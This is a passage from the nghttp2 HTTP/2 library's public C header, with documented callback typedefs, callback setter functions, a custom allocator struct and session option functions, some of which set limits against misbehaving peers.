nghttp2_rcbuf *value, uint8_t flags, void *user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @functypedef * * .. warning:: * * Deprecated. Use :type:`nghttp2_select_padding_callback2` * instead. * * Callback function invoked when the library asks application how * many padding bytes are required for the transmission of the * |frame|. The application must choose the total length of payload * including padded bytes in range [frame->hd.length, max_payloadlen], * inclusive. Choosing number not in this range will be treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. Returning * ``frame->hd.length`` means no padding is added. Returning * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` will make * `nghttp2_session_send()` and `nghttp2_session_mem_send()` functions * immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_select_padding_callback()`. */ typedef ssize_t (*nghttp2_select_padding_callback)(nghttp2_session *session, const nghttp2_frame *frame, size_t max_payloadlen, void *user_data); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @functypedef * * Callback function invoked when the library asks application how * many padding bytes are required for the transmission of the * |frame|. The application must choose the total length of payload * including padded bytes in range [frame->hd.length, max_payloadlen], * inclusive. Choosing number not in this range will be treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. Returning * ``frame->hd.length`` means no padding is added. Returning * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` will make * `nghttp2_session_send()` and `nghttp2_session_mem_send2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_select_padding_callback2()`. */ typedef nghttp2_ssize (*nghttp2_select_padding_callback2)( nghttp2_session *session, const nghttp2_frame *frame, size_t max_payloadlen, void *user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @functypedef * * .. warning:: * * Deprecated. Use * :type:`nghttp2_data_source_read_length_callback2` instead. * * Callback function invoked when library wants to get max length of * data to send data to the remote peer. The implementation of this * function should return a value in the following range. [1, * min(|session_remote_window_size|, |stream_remote_window_size|, * |remote_max_frame_size|)]. If a value greater than this range is * returned than the max allow value will be used. Returning a value * smaller than this range is treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. The * |frame_type| is provided for future extensibility and identifies * the type of frame (see :type:`nghttp2_frame_type`) for which to get * the length for. Currently supported frame types are: * :enum:`nghttp2_frame_type.NGHTTP2_DATA`. * * This callback can be used to control the length in bytes for which * :type:`nghttp2_data_source_read_callback` is allowed to send to the * remote endpoint. This callback is optional. Returning * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` will signal the * entire session failure. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_data_source_read_length_callback()`. */ typedef ssize_t (*nghttp2_data_source_read_length_callback)( nghttp2_session *session, uint8_t frame_type, int32_t stream_id, int32_t session_remote_window_size, int32_t stream_remote_window_size, uint32_t remote_max_frame_size, void *user_data); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @functypedef * * Callback function invoked when library wants to get max length of * data to send data to the remote peer. The implementation of this * function should return a value in the following range. [1, * min(|session_remote_window_size|, |stream_remote_window_size|, * |remote_max_frame_size|)]. If a value greater than this range is * returned than the max allow value will be used. Returning a value * smaller than this range is treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. The * |frame_type| is provided for future extensibility and identifies * the type of frame (see :type:`nghttp2_frame_type`) for which to get * the length for. Currently supported frame types are: * :enum:`nghttp2_frame_type.NGHTTP2_DATA`. * * This callback can be used to control the length in bytes for which * :type:`nghttp2_data_source_read_callback` is allowed to send to the * remote endpoint. This callback is optional. Returning * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` will signal the * entire session failure. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_data_source_read_length_callback2()`. */ typedef nghttp2_ssize (*nghttp2_data_source_read_length_callback2)( nghttp2_session *session, uint8_t frame_type, int32_t stream_id, int32_t session_remote_window_size, int32_t stream_remote_window_size, uint32_t remote_max_frame_size, void *user_data); /** * @functypedef * * Callback function invoked when a frame header is received. The * |hd| points to received frame header. * * Unlike :type:`nghttp2_on_frame_recv_callback`, this callback will * also be called when frame header of CONTINUATION frame is received. * * If both :type:`nghttp2_on_begin_frame_callback` and * :type:`nghttp2_on_begin_headers_callback` are set and HEADERS or * PUSH_PROMISE is received, :type:`nghttp2_on_begin_frame_callback` * will be called first. * * The implementation of this function must return 0 if it succeeds. * If nonzero value is returned, it is treated as fatal error and * `nghttp2_session_recv()` and `nghttp2_session_mem_recv2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_begin_frame_callback()`. */ typedef int (*nghttp2_on_begin_frame_callback)(nghttp2_session *session, const nghttp2_frame_hd *hd, void *user_data); /** * @functypedef * * Callback function invoked when chunk of extension frame payload is * received. The |hd| points to frame header. The received * chunk is |data| of length |len|. * * The implementation of this function must return 0 if it succeeds. * * To abort processing this extension frame, return * :enum:`nghttp2_error.NGHTTP2_ERR_CANCEL`. * * If fatal error occurred, application should return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. In this case, * `nghttp2_session_recv()` and `nghttp2_session_mem_recv2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the other * values are returned, currently they are treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. */ typedef int (*nghttp2_on_extension_chunk_recv_callback)( nghttp2_session *session, const nghttp2_frame_hd *hd, const uint8_t *data, size_t len, void *user_data); /** * @functypedef * * Callback function invoked when library asks the application to * unpack extension payload from its wire format. The extension * payload has been passed to the application using * :type:`nghttp2_on_extension_chunk_recv_callback`. The frame header * is already unpacked by the library and provided as |hd|. * * To receive extension frames, the application must tell desired * extension frame type to the library using * `nghttp2_option_set_user_recv_extension_type()`. * * The implementation of this function may store the pointer to the * created object as a result of unpacking in |*payload|, and returns * 0. The pointer stored in |*payload| is opaque to the library, and * the library does not own its pointer. |*payload| is initialized as * ``NULL``. The |*payload| is available as ``frame->ext.payload`` in * :type:`nghttp2_on_frame_recv_callback`. Therefore if application * can free that memory inside :type:`nghttp2_on_frame_recv_callback` * callback. Of course, application has a liberty not to use * |*payload|, and do its own mechanism to process extension frames. * * To abort processing this extension frame, return * :enum:`nghttp2_error.NGHTTP2_ERR_CANCEL`. * * If fatal error occurred, application should return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. In this case, * `nghttp2_session_recv()` and `nghttp2_session_mem_recv2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the other * values are returned, currently they are treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. */ typedef int (*nghttp2_unpack_extension_callback)(nghttp2_session *session, void **payload, const nghttp2_frame_hd *hd, void *user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @functypedef * * .. warning:: * * Deprecated. Use :type:`nghttp2_pack_extension_callback2` * instead. * * Callback function invoked when library asks the application to pack * extension payload in its wire format. The frame header will be * packed by library. Application must pack payload only. * ``frame->ext.payload`` is the object passed to * `nghttp2_submit_extension()` as payload parameter. Application * must pack extension payload to the |buf| of its capacity |len| * bytes. The |len| is at least 16KiB. * * The implementation of this function should return the number of * bytes written into |buf| when it succeeds. * * To abort processing this extension frame, return * :enum:`nghttp2_error.NGHTTP2_ERR_CANCEL`, and * :type:`nghttp2_on_frame_not_send_callback` will be invoked. * * If fatal error occurred, application should return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. In this case, * `nghttp2_session_send()` and `nghttp2_session_mem_send()` functions * immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the other * values are returned, currently they are treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the return * value is strictly larger than |len|, it is treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. */ typedef ssize_t (*nghttp2_pack_extension_callback)(nghttp2_session *session, uint8_t *buf, size_t len, const nghttp2_frame *frame, void *user_data); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @functypedef * * Callback function invoked when library asks the application to pack * extension payload in its wire format. The frame header will be * packed by library. Application must pack payload only. * ``frame->ext.payload`` is the object passed to * `nghttp2_submit_extension()` as payload parameter. Application * must pack extension payload to the |buf| of its capacity |len| * bytes. The |len| is at least 16KiB. * * The implementation of this function should return the number of * bytes written into |buf| when it succeeds. * * To abort processing this extension frame, return * :enum:`nghttp2_error.NGHTTP2_ERR_CANCEL`, and * :type:`nghttp2_on_frame_not_send_callback` will be invoked. * * If fatal error occurred, application should return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. In this case, * `nghttp2_session_send()` and `nghttp2_session_mem_send2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the other * values are returned, currently they are treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the return * value is strictly larger than |len|, it is treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. */ typedef nghttp2_ssize (*nghttp2_pack_extension_callback2)( nghttp2_session *session, uint8_t *buf, size_t len, const nghttp2_frame *frame, void *user_data); /** * @functypedef * * .. warning:: * * Deprecated. Use :type:`nghttp2_error_callback2` instead. * * Callback function invoked when library provides the error message * intended for human consumption. This callback is solely for * debugging purpose. The |msg| is typically NULL-terminated string * of length |len|. |len| does not include the sentinel NULL * character. * * The format of error message may change between nghttp2 library * versions. The application should not depend on the particular * format. * * Normally, application should return 0 from this callback. If fatal * error occurred while doing something in this callback, application * should return :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * In this case, library will return immediately with return value * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. Currently, if * nonzero value is returned from this callback, they are treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`, but application * should not rely on this details. */ typedef int (*nghttp2_error_callback)(nghttp2_session *session, const char *msg, size_t len, void *user_data); /** * @functypedef * * Callback function invoked when library provides the error code, and * message. This callback is solely for debugging purpose. * |lib_error_code| is one of error code defined in * :enum:`nghttp2_error`. The |msg| is typically NULL-terminated * string of length |len|, and intended for human consumption. |len| * does not include the sentinel NULL character. * * The format of error message may change between nghttp2 library * versions. The application should not depend on the particular * format. * * Normally, application should return 0 from this callback. If fatal * error occurred while doing something in this callback, application * should return :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * In this case, library will return immediately with return value * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. Currently, if * nonzero value is returned from this callback, they are treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`, but application * should not rely on this details. */ typedef int (*nghttp2_error_callback2)(nghttp2_session *session, int lib_error_code, const char *msg, size_t len, void *user_data); /** * @functypedef * * Callback function invoked when unpredictable data of |destlen| * bytes are needed. The implementation must write unpredictable data * of |destlen| bytes into the buffer pointed by |dest|. */ typedef void (*nghttp2_rand_callback)(uint8_t *dest, size_t destlen); struct nghttp2_session_callbacks; /** * @struct * * Callback functions for :type:`nghttp2_session`. The details of * this structure are intentionally hidden from the public API. */ typedef struct nghttp2_session_callbacks nghttp2_session_callbacks; /** * @function * * Initializes |*callbacks_ptr| with NULL values. * * The initialized object can be used when initializing multiple * :type:`nghttp2_session` objects. * * When the application finished using this object, it can use * `nghttp2_session_callbacks_del()` to free its memory. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_callbacks_new(nghttp2_session_callbacks **callbacks_ptr); /** * @function * * Frees any resources allocated for |callbacks|. If |callbacks| is * ``NULL``, this function does nothing. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_del(nghttp2_session_callbacks *callbacks); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_session_callbacks_set_send_callback2()` * with :type:`nghttp2_send_callback2` instead. * * Sets callback function invoked when a session wants to send data to * the remote peer. This callback is not necessary if the application * uses solely `nghttp2_session_mem_send()` to serialize data to * transmit. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_send_callback( nghttp2_session_callbacks *cbs, nghttp2_send_callback send_callback); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Sets callback function invoked when a session wants to send data to * the remote peer. This callback is not necessary if the application * uses solely `nghttp2_session_mem_send2()` to serialize data to * transmit. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_send_callback2( nghttp2_session_callbacks *cbs, nghttp2_send_callback2 send_callback); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_session_callbacks_set_recv_callback2()` * with :type:`nghttp2_recv_callback2` instead. * * Sets callback function invoked when the a session wants to receive * data from the remote peer. This callback is not necessary if the * application uses solely `nghttp2_session_mem_recv()` to process * received data. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_recv_callback( nghttp2_session_callbacks *cbs, nghttp2_recv_callback recv_callback); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Sets callback function invoked when the a session wants to receive * data from the remote peer. This callback is not necessary if the * application uses solely `nghttp2_session_mem_recv2()` to process * received data. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_recv_callback2( nghttp2_session_callbacks *cbs, nghttp2_recv_callback2 recv_callback); /** * @function * * Sets callback function invoked by `nghttp2_session_recv()` and * `nghttp2_session_mem_recv2()` when a frame is received. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_frame_recv_callback( nghttp2_session_callbacks *cbs, nghttp2_on_frame_recv_callback on_frame_recv_callback); /** * @function * * Sets callback function invoked by `nghttp2_session_recv()` and * `nghttp2_session_mem_recv2()` when an invalid non-DATA frame is * received. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_invalid_frame_recv_callback( nghttp2_session_callbacks *cbs, nghttp2_on_invalid_frame_recv_callback on_invalid_frame_recv_callback); /** * @function * * Sets callback function invoked when a chunk of data in DATA frame * is received. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_data_chunk_recv_callback( nghttp2_session_callbacks *cbs, nghttp2_on_data_chunk_recv_callback on_data_chunk_recv_callback); /** * @function * * Sets callback function invoked before a non-DATA frame is sent. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_before_frame_send_callback( nghttp2_session_callbacks *cbs, nghttp2_before_frame_send_callback before_frame_send_callback); /** * @function * * Sets callback function invoked after a frame is sent. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_frame_send_callback( nghttp2_session_callbacks *cbs, nghttp2_on_frame_send_callback on_frame_send_callback); /** * @function * * Sets callback function invoked when a non-DATA frame is not sent * because of an error. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_frame_not_send_callback( nghttp2_session_callbacks *cbs, nghttp2_on_frame_not_send_callback on_frame_not_send_callback); /** * @function * * Sets callback function invoked when the stream is closed. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_stream_close_callback( nghttp2_session_callbacks *cbs, nghttp2_on_stream_close_callback on_stream_close_callback); /** * @function * * Sets callback function invoked when the reception of header block * in HEADERS or PUSH_PROMISE is started. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_begin_headers_callback( nghttp2_session_callbacks *cbs, nghttp2_on_begin_headers_callback on_begin_headers_callback); /** * @function * * Sets callback function invoked when a header name/value pair is * received. If both * `nghttp2_session_callbacks_set_on_header_callback()` and * `nghttp2_session_callbacks_set_on_header_callback2()` are used to * set callbacks, the latter has the precedence. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_header_callback( nghttp2_session_callbacks *cbs, nghttp2_on_header_callback on_header_callback); /** * @function * * Sets callback function invoked when a header name/value pair is * received. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_header_callback2( nghttp2_session_callbacks *cbs, nghttp2_on_header_callback2 on_header_callback2); /** * @function * * Sets callback function invoked when an invalid header name/value * pair is received. If both * `nghttp2_session_callbacks_set_on_invalid_header_callback()` and * `nghttp2_session_callbacks_set_on_invalid_header_callback2()` are * used to set callbacks, the latter takes the precedence. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_invalid_header_callback( nghttp2_session_callbacks *cbs, nghttp2_on_invalid_header_callback on_invalid_header_callback); /** * @function * * Sets callback function invoked when an invalid header name/value * pair is received. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_invalid_header_callback2( nghttp2_session_callbacks *cbs, nghttp2_on_invalid_header_callback2 on_invalid_header_callback2); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use * `nghttp2_session_callbacks_set_select_padding_callback2()` with * :type:`nghttp2_select_padding_callback2` instead. * * Sets callback function invoked when the library asks application * how many padding bytes are required for the transmission of the * given frame. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_select_padding_callback( nghttp2_session_callbacks *cbs, nghttp2_select_padding_callback select_padding_callback); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Sets callback function invoked when the library asks application * how many padding bytes are required for the transmission of the * given frame. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_select_padding_callback2( nghttp2_session_callbacks *cbs, nghttp2_select_padding_callback2 select_padding_callback); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use * `nghttp2_session_callbacks_set_data_source_read_length_callback2()` * with :type:`nghttp2_data_source_read_length_callback2` instead. * * Sets callback function determine the length allowed in * :type:`nghttp2_data_source_read_callback`. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_data_source_read_length_callback( nghttp2_session_callbacks *cbs, nghttp2_data_source_read_length_callback data_source_read_length_callback); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Sets callback function determine the length allowed in * :type:`nghttp2_data_source_read_callback2`. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_data_source_read_length_callback2( nghttp2_session_callbacks *cbs, nghttp2_data_source_read_length_callback2 data_source_read_length_callback); /** * @function * * Sets callback function invoked when a frame header is received. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_begin_frame_callback( nghttp2_session_callbacks *cbs, nghttp2_on_begin_frame_callback on_begin_frame_callback); /** * @function * * Sets callback function invoked when * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_COPY` is used in * :type:`nghttp2_data_source_read_callback2` to avoid data copy. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_send_data_callback( nghttp2_session_callbacks *cbs, nghttp2_send_data_callback send_data_callback); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use * `nghttp2_session_callbacks_set_pack_extension_callback2()` with * :type:`nghttp2_pack_extension_callback2` instead. * * Sets callback function invoked when the library asks the * application to pack extension frame payload in wire format. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_pack_extension_callback( nghttp2_session_callbacks *cbs, nghttp2_pack_extension_callback pack_extension_callback); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Sets callback function invoked when the library asks the * application to pack extension frame payload in wire format. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_pack_extension_callback2( nghttp2_session_callbacks *cbs, nghttp2_pack_extension_callback2 pack_extension_callback); /** * @function * * Sets callback function invoked when the library asks the * application to unpack extension frame payload from wire format. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_unpack_extension_callback( nghttp2_session_callbacks *cbs, nghttp2_unpack_extension_callback unpack_extension_callback); /** * @function * * Sets callback function invoked when chunk of extension frame * payload is received. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_on_extension_chunk_recv_callback( nghttp2_session_callbacks *cbs, nghttp2_on_extension_chunk_recv_callback on_extension_chunk_recv_callback); /** * @function * * .. warning:: * * Deprecated. Use * `nghttp2_session_callbacks_set_error_callback2()` with * :type:`nghttp2_error_callback2` instead. * * Sets callback function invoked when library tells error message to * the application. * * If both :type:`nghttp2_error_callback` and * :type:`nghttp2_error_callback2` are set, the latter takes * precedence. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_error_callback( nghttp2_session_callbacks *cbs, nghttp2_error_callback error_callback); /** * @function * * Sets callback function invoked when library tells error code, and * message to the application. * * If both :type:`nghttp2_error_callback` and * :type:`nghttp2_error_callback2` are set, the latter takes * precedence. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_error_callback2( nghttp2_session_callbacks *cbs, nghttp2_error_callback2 error_callback2); /** * @function * * Sets callback function invoked when unpredictable data is needed. * Although this callback is optional due to the backward * compatibility, it is recommended to specify it to harden the * runtime behavior against suspicious activities of a remote * endpoint. */ NGHTTP2_EXTERN void nghttp2_session_callbacks_set_rand_callback( nghttp2_session_callbacks *cbs, nghttp2_rand_callback rand_callback); /** * @functypedef * * Custom memory allocator to replace malloc(). The |mem_user_data| * is the mem_user_data member of :type:`nghttp2_mem` structure. */ typedef void *(*nghttp2_malloc)(size_t size, void *mem_user_data); /** * @functypedef * * Custom memory allocator to replace free(). The |mem_user_data| is * the mem_user_data member of :type:`nghttp2_mem` structure. */ typedef void (*nghttp2_free)(void *ptr, void *mem_user_data); /** * @functypedef * * Custom memory allocator to replace calloc(). The |mem_user_data| * is the mem_user_data member of :type:`nghttp2_mem` structure. */ typedef void *(*nghttp2_calloc)(size_t nmemb, size_t size, void *mem_user_data); /** * @functypedef * * Custom memory allocator to replace realloc(). The |mem_user_data| * is the mem_user_data member of :type:`nghttp2_mem` structure. */ typedef void *(*nghttp2_realloc)(void *ptr, size_t size, void *mem_user_data); /** * @struct * * Custom memory allocator functions and user defined pointer. The * |mem_user_data| member is passed to each allocator function. This * can be used, for example, to achieve per-session memory pool. * * In the following example code, ``my_malloc``, ``my_free``, * ``my_calloc`` and ``my_realloc`` are the replacement of the * standard allocators ``malloc``, ``free``, ``calloc`` and * ``realloc`` respectively:: * * void *my_malloc_cb(size_t size, void *mem_user_data) { * return my_malloc(size); * } * * void my_free_cb(void *ptr, void *mem_user_data) { my_free(ptr); } * * void *my_calloc_cb(size_t nmemb, size_t size, void *mem_user_data) { * return my_calloc(nmemb, size); * } * * void *my_realloc_cb(void *ptr, size_t size, void *mem_user_data) { * return my_realloc(ptr, size); * } * * void session_new() { * nghttp2_session *session; * nghttp2_session_callbacks *callbacks; * nghttp2_mem mem = {NULL, my_malloc_cb, my_free_cb, my_calloc_cb, * my_realloc_cb}; * * ... * * nghttp2_session_client_new3(&session, callbacks, NULL, NULL, &mem); * * ... * } */ typedef struct { /** * An arbitrary user supplied data. This is passed to each * allocator function. */ void *mem_user_data; /** * Custom allocator function to replace malloc(). */ nghttp2_malloc malloc; /** * Custom allocator function to replace free(). */ nghttp2_free free; /** * Custom allocator function to replace calloc(). */ nghttp2_calloc calloc; /** * Custom allocator function to replace realloc(). */ nghttp2_realloc realloc; } nghttp2_mem; struct nghttp2_option; /** * @struct * * Configuration options for :type:`nghttp2_session`. The details of * this structure are intentionally hidden from the public API. */ typedef struct nghttp2_option nghttp2_option; /** * @function * * Initializes |*option_ptr| with default values. * * When the application finished using this object, it can use * `nghttp2_option_del()` to free its memory. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_option_new(nghttp2_option **option_ptr); /** * @function * * Frees any resources allocated for |option|. If |option| is * ``NULL``, this function does nothing. */ NGHTTP2_EXTERN void nghttp2_option_del(nghttp2_option *option); /** * @function * * This option prevents the library from sending WINDOW_UPDATE for a * connection automatically. If this option is set to nonzero, the * library won't send WINDOW_UPDATE for DATA until application calls * `nghttp2_session_consume()` to indicate the consumed amount of * data. Don't use `nghttp2_submit_window_update()` for this purpose. * By default, this option is set to zero. */ NGHTTP2_EXTERN void nghttp2_option_set_no_auto_window_update(nghttp2_option *option, int val); /** * @function * * This option sets the SETTINGS_MAX_CONCURRENT_STREAMS value of * remote endpoint as if it is received in SETTINGS frame. Without * specifying this option, the maximum number of outgoing concurrent * streams is initially limited to 100 to avoid issues when the local * endpoint submits lots of requests before receiving initial SETTINGS * frame from the remote endpoint, since sending them at once to the * remote endpoint could lead to rejection of some of the requests. * This value will be overwritten when the local endpoint receives * initial SETTINGS frame from the remote endpoint, either to the * value advertised in SETTINGS_MAX_CONCURRENT_STREAMS or to the * default value (unlimited) if none was advertised. */ NGHTTP2_EXTERN void nghttp2_option_set_peer_max_concurrent_streams(nghttp2_option *option, uint32_t val); /** * @function * * By default, nghttp2 library, if configured as server, requires * first 24 bytes of client magic byte string (MAGIC). In most cases, * this will simplify the implementation of server. But sometimes * server may want to detect the application protocol based on first * few bytes on clear text communication. * * If this option is used with nonzero |val|, nghttp2 library does not * handle MAGIC. It still checks following SETTINGS frame. This * means that applications should deal with MAGIC by themselves. * * If this option is not used or used with zero value, if MAGIC does * not match :macro:`NGHTTP2_CLIENT_MAGIC`, `nghttp2_session_recv()` * and `nghttp2_session_mem_recv2()` will return error * :enum:`nghttp2_error.NGHTTP2_ERR_BAD_CLIENT_MAGIC`, which is fatal * error. */ NGHTTP2_EXTERN void nghttp2_option_set_no_recv_client_magic(nghttp2_option *option, int val); /** * @function * * By default, nghttp2 library enforces subset of HTTP Messaging rules * described in `HTTP/2 specification, section 8 * <https://tools.ietf.org/html/rfc7540#section-8>`_. See * :ref:`http-messaging` section for details. For those applications * who use nghttp2 library as non-HTTP use, give nonzero to |val| to * disable this enforcement. Please note that disabling this feature * does not change the fundamental client and server model of HTTP. * That is, even if the validation is disabled, only client can send * requests. */ NGHTTP2_EXTERN void nghttp2_option_set_no_http_messaging(nghttp2_option *option, int val); /** * @function * * RFC 7540 does not enforce any limit on the number of incoming * reserved streams (in RFC 7540 terms, streams in reserved (remote) * state). This only affects client side, since only server can push * streams. Malicious server can push arbitrary number of streams, * and make client's memory exhausted. This option can set the * maximum number of such incoming streams to avoid possible memory * exhaustion. If this option is set, and pushed streams are * automatically closed on reception, without calling user provided * callback, if they exceed the given limit. The default value is * 200. If session is configured as server side, this option has no * effect. Server can control the number of streams to push. */ NGHTTP2_EXTERN void nghttp2_option_set_max_reserved_remote_streams(nghttp2_option *option, uint32_t val); /** * @function * * Sets extension frame type the application is willing to handle with * user defined callbacks (see * :type:`nghttp2_on_extension_chunk_recv_callback` and * :type:`nghttp2_unpack_extension_callback`). The |type| is * extension frame type, and must be strictly greater than 0x9. * Otherwise, this function does nothing. The application can call * this function multiple times to set more than one frame type to * receive. The application does not have to call this function if it * just sends extension frames. */ NGHTTP2_EXTERN void nghttp2_option_set_user_recv_extension_type(nghttp2_option *option, uint8_t type); /** * @function * * Sets extension frame type the application is willing to receive * using builtin handler. The |type| is the extension frame type to * receive, and must be strictly greater than 0x9. Otherwise, this * function does nothing. The application can call this function * multiple times to set more than one frame type to receive. The * application does not have to call this function if it just sends * extension frames. * * If same frame type is passed to both * `nghttp2_option_set_builtin_recv_extension_type()` and * `nghttp2_option_set_user_recv_extension_type()`, the latter takes * precedence. */ NGHTTP2_EXTERN void nghttp2_option_set_builtin_recv_extension_type(nghttp2_option *option, uint8_t type); /** * @function * * This option prevents the library from sending PING frame with ACK * flag set automatically when PING frame without ACK flag set is * received. If this option is set to nonzero, the library won't send * PING frame with ACK flag set in the response for incoming PING * frame. The application can send PING frame with ACK flag set using * `nghttp2_submit_ping()` with :enum:`nghttp2_flag.NGHTTP2_FLAG_ACK` * as flags parameter. */ NGHTTP2_EXTERN void nghttp2_option_set_no_auto_ping_ack(nghttp2_option *option, int val); /** * @function * * This option sets the maximum length of header block (a set of * header fields per one HEADERS frame) to send. The length of a * given set of header fields is calculated using * `nghttp2_hd_deflate_bound()`. The default value is 64KiB. If * application attempts to send header fields larger than this limit, * the transmission of the frame fails with error code * :enum:`nghttp2_error.NGHTTP2_ERR_FRAME_SIZE_ERROR`. */ NGHTTP2_EXTERN void nghttp2_option_set_max_send_header_block_length(nghttp2_option *option, size_t val); /** * @function * * This option sets the maximum dynamic table size for deflating * header fields. The default value is 4KiB. In HTTP/2, receiver of * deflated header block can specify maximum dynamic table size. The * actual maximum size is the minimum of the size receiver specified * and this option value. */ NGHTTP2_EXTERN void nghttp2_option_set_max_deflate_dynamic_table_size(nghttp2_option *option, size_t val); /** * @function * * .. warning:: * * Deprecated. Closed streams are not retained anymore. * * This function works as before, but it does not take any effect * against :type:`nghttp2_session`. */ NGHTTP2_EXTERN void nghttp2_option_set_no_closed_streams(nghttp2_option *option, int val); /** * @function * * This function sets the maximum number of outgoing SETTINGS ACK and * PING ACK frames retained in :type:`nghttp2_session` object. If * more than those frames are retained, the peer is considered to be * misbehaving and session will be closed. The default value is 1000. */ NGHTTP2_EXTERN void nghttp2_option_set_max_outbound_ack(nghttp2_option *option, size_t val); /** * @function * * This function sets the maximum number of SETTINGS entries per * SETTINGS frame that will be accepted. If more than those entries * are received, the peer is considered to be misbehaving and session * will be closed. The default value is 32. */ NGHTTP2_EXTERN void nghttp2_option_set_max_settings(nghttp2_option *option, size_t val); /** * @function * * .. warning:: * Deprecated. :rfc:`7540` priorities have been removed. * * This function works as before, but it does not take any effect * against :type:`nghttp2_session`. */ 